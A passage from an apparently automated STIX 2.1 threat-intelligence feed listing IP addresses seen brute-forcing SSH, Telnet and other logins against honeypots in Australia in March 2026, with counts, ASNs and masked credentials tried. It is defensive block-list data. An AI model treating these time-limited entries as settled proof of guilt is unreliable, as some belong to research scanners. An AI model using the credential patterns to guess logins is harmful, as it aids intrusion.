      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): *, r**t. Passwords observed (masked): *, p******d.",
      "id": "indicator--d0ea036e-a121-40d3-be23-679e48f4c460",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.217.1.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--85eb0d85-ed01-4aaf-9841-659e44a46987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6, D******1.",
      "id": "indicator--91188e4a-426e-4a9b-b411-dfbc94a93302",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.165.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**7, 3***********4, 3**********4, s****5.",
      "id": "indicator--22a99e91-3cae-4252-8529-9cc07ba08f95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.165.16.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6, ***.",
      "id": "indicator--1b5ec074-3fe5-4ff9-a71e-6bae0e232204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.165.22.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): D******1, O********4.",
      "id": "indicator--ddc1f81c-e215-4e2e-b15f-9e919f1260d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.165.29.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): M******6.",
      "id": "indicator--271d58fb-393d-4db8-8a71-6435018ff0a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.188.47.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, D******1, s****5.",
      "id": "indicator--c2ec2e1d-bb7a-4970-ba94-3397aca5aea2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MN. ASN(s): 17882. Organisation(s): UNIVISION LLC. Usernames observed (masked): r**t. Passwords observed (masked): 0******(, M******6.",
      "id": "indicator--a4ec8863-5871-4e0e-94f1-caea8f2a3581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.23.199.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): . Passwords observed (masked): .",
      "id": "indicator--07494f95-3dca-41bb-90be-b4ac2d0f1303",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6.",
      "id": "indicator--c8372566-1002-4029-9c39-49aaeb9fe9b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.92.10.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--15d6143e-225e-4206-a79c-97917698317a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.153.192.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--bf80d2ba-9c6a-42e8-991e-aa2382eadd3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.140.224.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t, r***1. Passwords observed (masked): 1**4, Y*******6.",
      "id": "indicator--503c74f0-fe7d-4974-9e68-071309ea9a2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.200.78.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 134366. Organisation(s): Cloud Computing HK Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**7, 3***********4, 3**********4, s****5.",
      "id": "indicator--c7d10613-ad5f-4871-9b5e-90951e80cf17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.120.216.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b, s****5.",
      "id": "indicator--ac8b78a5-79dd-4be4-9d76-a522e205ef1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.194.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a******5, s****5.",
      "id": "indicator--ab42fd18-63d9-45ed-a6da-587e47e8c499",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b.",
      "id": "indicator--078ef95b-1f6d-4b83-b3b2-2cad1f0a17f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0******(, 3**********4, O********4.",
      "id": "indicator--ecab680c-83d1-4573-ad88-af057624471e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, D******1, s****5.",
      "id": "indicator--4630b87f-0194-4010-ba31-513b3e75f2e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(, ***.",
      "id": "indicator--12ef8f81-3b44-4336-8a62-f43ab3158d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): D******1, O********4.",
      "id": "indicator--274979bf-492e-4f56-82ee-e2c1496e7712",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.201.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**7, 3***********4, 3**********4, s****5.",
      "id": "indicator--6e391c63-0d03-479a-81f3-4bfcb8debc6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.204.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6.",
      "id": "indicator--ad203d16-a155-4e14-ab34-dc8679e48577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.204.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7.",
      "id": "indicator--4b06baba-3aa2-467d-ba05-4cabb60d5d10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.207.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Heralding. Target ports: 5432. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC. Usernames observed (masked): p******s. Passwords observed (masked): a***n, d**********6, k***************2, k****************!, p******d.",
      "id": "indicator--a1c64d2b-12e0-47c6-9777-43b36e3df43b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.19.137.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): W*********#.",
      "id": "indicator--e244f295-5377-40ba-9f12-4f27147d90a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--539b52cf-e27f-4a4e-b93c-ed465e25241b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.154.35.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4d3df6da-ac73-498d-a595-95d24bac3283",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.96.48.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1099. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): ?****?, 0*****7, 0******0, 1****0, 1******5.",
      "id": "indicator--4d433696-bd27-4298-9cd2-f289deef9046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '140.235.19.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--6ae7e628-2903-4b69-930a-24c608359098",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.38.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--66ec3c36-4eae-41b6-b528-8a2b3ce444d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.156.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n. Passwords observed (masked): d******r, d***t, d****r, d****3, d******t.",
      "id": "indicator--c65e9c33-a519-4e54-a3b8-731b81d6d66f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
